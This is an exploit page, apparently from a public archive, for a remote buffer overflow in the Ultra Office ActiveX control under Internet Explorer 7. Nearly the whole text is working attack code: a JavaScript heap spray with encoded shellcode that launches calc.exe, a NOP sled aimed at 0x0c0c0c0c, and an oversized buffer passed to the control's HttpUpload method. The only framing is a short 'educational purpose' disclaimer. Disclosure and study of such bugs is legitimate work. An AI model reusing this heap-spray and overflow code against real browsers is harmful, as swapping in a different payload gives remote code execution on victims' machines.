Ultra Office ActiveX Control Remote Buffer Overflow Exploit

Advisory Content :

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Ultra Office ActiveX Control Remote Buffer Overflow
url: http://www.ultrashareware.com

Author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://www.shinnai.net

This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.

Tested on Windows XP Professional SP3 all patched, with Internet Explorer
7
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<script language="JavaScript" defer>
var sCode =
unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +

"%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +

"%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +

"%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +

"%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +

"%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +

"%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +

"%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +

"%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +

"%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +

"%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +

"%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +

"%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +

"%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
"%u652E%u6578%u9000");
var sSlide = unescape("%u9090%u9090");
var heapSA = 0x0c0c0c0c;
function tryMe()
{
var buffSize = 20000;
var x = unescape("%0c%0c%0c%0c");
while (x.length<buffSize) x += x;
x = x.substring(0,buffSize);
boom.HttpUpload(x, x, x);
}
function getsSlide(sSlide, sSlideSize)
{
while (sSlide.length*2<sSlideSize)
{
sSlide += sSlide;
}
sSlide = sSlide.substring(0,sSlideSize/2);
return (sSlide);
}
var heapBS = 0x400000;
var sizeHDM = 0x5;
var PLSize = (sCode.length * 2);
var sSlideSize = heapBS - (PLSize + sizeHDM);
var heapBlocks = (heapSA+heapBS)/heapBS;
var memory = new Array();
sSlide = getsSlide(sSlide,sSlideSize);
for (i=0;i<heapBlocks;i++)
{
memory[i] = sSlide + sCode;
}
</script>
<body return tryMe();">
<object id="boom" classid="clsid:00989888-BB72-4E31-A7C6-5F819C24D2F7">
Unable to create object
</object>

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Ultra Office ActiveX Control Remote Buffer Overflow Exploit